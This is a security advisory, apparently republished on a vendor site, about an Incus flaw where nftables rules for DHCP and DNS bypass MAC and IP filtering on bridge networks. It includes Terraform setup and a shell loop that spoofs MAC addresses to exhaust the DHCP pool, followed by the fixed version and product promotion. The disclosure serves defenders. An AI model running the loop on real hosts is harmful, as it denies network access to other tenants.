GHSA-9q7c-qmhm-jv86
LOWIncus Allocation of Resources Without Limits allows firewall rule bypass on managed bridge networks
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
github.com/lxc/incus/v6Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When using an ACL on a device connected to a bridge, Incus generates nftables rules for local services (DHCP, DNS...) that partially bypass security options security.mac_filtering, security.ipv4_filtering and security.ipv6_filtering. This can lead to DHCP pool exhaustion and opens the door for other attacks.
Details
In commit a7c33301738aede3c035063e973b1d885d9bac7c, the following rules are added at the top of the bridge input chain:
iifname "{{.hostName}}" ether type ip ip saddr 0.0.0.0 ip daddr 255.255.255.255 udp dport 67 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::1:2 udp dport 547 accept
iifname "{{.hostName}}" ether type ip6 ip6 saddr fe80::/10 ip6 daddr ff02::2 icmpv6 type 133 accept
However, these rules accept packets that should be filtered and maybe dropped by later rules in the "MAC filtering" snippet:
iifname "{{.hostName}}" ether type arp arp saddr ether != {{.hwAddr}} drop
iifname "{{.hostName}}" ether type ip6 icmpv6 type 136 @nh,528,48 != {{.hwAddrHex}} drop
Therefore, the MAC filtering is ineffective on those new rules. This allows an attacker to request as many IP as they want by sending a lot of DHCP requests with different MAC addresses. Doing so, they can exhaust the DHCP pool, resulting in a DoS of the bridge's network.
Additionaly, the commit adds non-restricted access to the local dnsmasq DNS server:
{{ if .dnsIPv4 }}
{{ range .dnsIPv4 }}
iifname "{{$.hostName}}" ip daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}
{{ if .dnsIPv6 }}
{{ range .dnsIPv6 }}
iifname "{{$.hostName}}" ip6 daddr "{{.}}" tcp dport 53 accept
iifname "{{$.hostName}}" ip6 daddr "{{.}}" udp dport 53 accept
{{ end }}
{{ end }}
An attacker can send DNS requests with arbitrary MAC and IP addresses as well. These rules should also be after the MAC/IPv4/IPv6 filtering.
PoC
With this terraform infrastructure:
resource "incus_network_acl" "acl_allow_out" {
name = "acl-allow-out"
egress = [
{
action = "allow"
destination = "0.0.0.0-9.255.255.255,11.0.0.0-172.15.255.255,172.32.0.0-192.167.255.255,192.169.0.0-255.255.255.254"
state = "enabled"
},
]
}
resource "incus_network_acl" "acl_allow_in" {
name = "acl-allow-in"
ingress = [
{
action = "allow"
state = "enabled"
},
]
}
resource "incus_network" "br0" {
name = "br0"
config = {
"ipv4.address" = "10.0.0.1/24"
"ipv4.nat" = "true"
}
}
resource "incus_instance" "machine1" {
name = "machine1"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
"cloud-init.vendor-data" = <<-EOF
#cloud-config
package_update: true
packages:
- dhclient
- tcpdump
runcmd:
- systemctl disable --now systemd.networkd.service
- systemctl disable --now systemd.networkd.socket
EOF
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
"security.ipv4_filtering" = true
"security.acls" = join(",",
[
incus_network_acl.acl_allow_out.name,
incus_network_acl.acl_allow_in.name,
])
}
}
}
resource "incus_instance" "machine2" {
name = "machine2"
image = "images:archlinux/cloud"
type = "virtual-machine"
config = {
"limits.memory" = "2GiB"
"security.secureboot" = false
"boot.autostart" = false
}
device {
type = "disk"
name = "root"
properties = {
pool = "default"
path = "/"
size = "64GiB"
}
}
device {
type = "nic"
name = "eth0"
properties = {
network = incus_network.br0.name
}
}
}
An attacker in a VM requests many IP addresses and exhaust the pool:
[MACHINE1]$ for i in {0..99}; do for j in {0..99}; do ip link set address 10:66:6a:42:${i}:${j} dev enp5s0 ; dhclient -4 -i --no-pid ; done ; done
[HOST]$ cat /var/lib/incus/networks/br0/dnsmasq.leases |wc -l
254
[HOST]$ incus start machine2
At this point, machine2 will not receive a lease from dnsmasq until another lease expires. If machine1 renews their malicious leases, machine2 will never get a lease.
Impact
All versions since a7c33301738aede3c035063e973b1d885d9bac7c, so basically v6.12 and v6.13.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/lxc/incus/v6 | all versions | 6.14.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/lxc/incus/v6. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/lxc/incus/v6 to 6.14.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9q7c-qmhm-jv86 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9q7c-qmhm-jv86 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9q7c-qmhm-jv86. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9q7c-qmhm-jv86 in your dependencies?
O3 detects GHSA-9q7c-qmhm-jv86 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.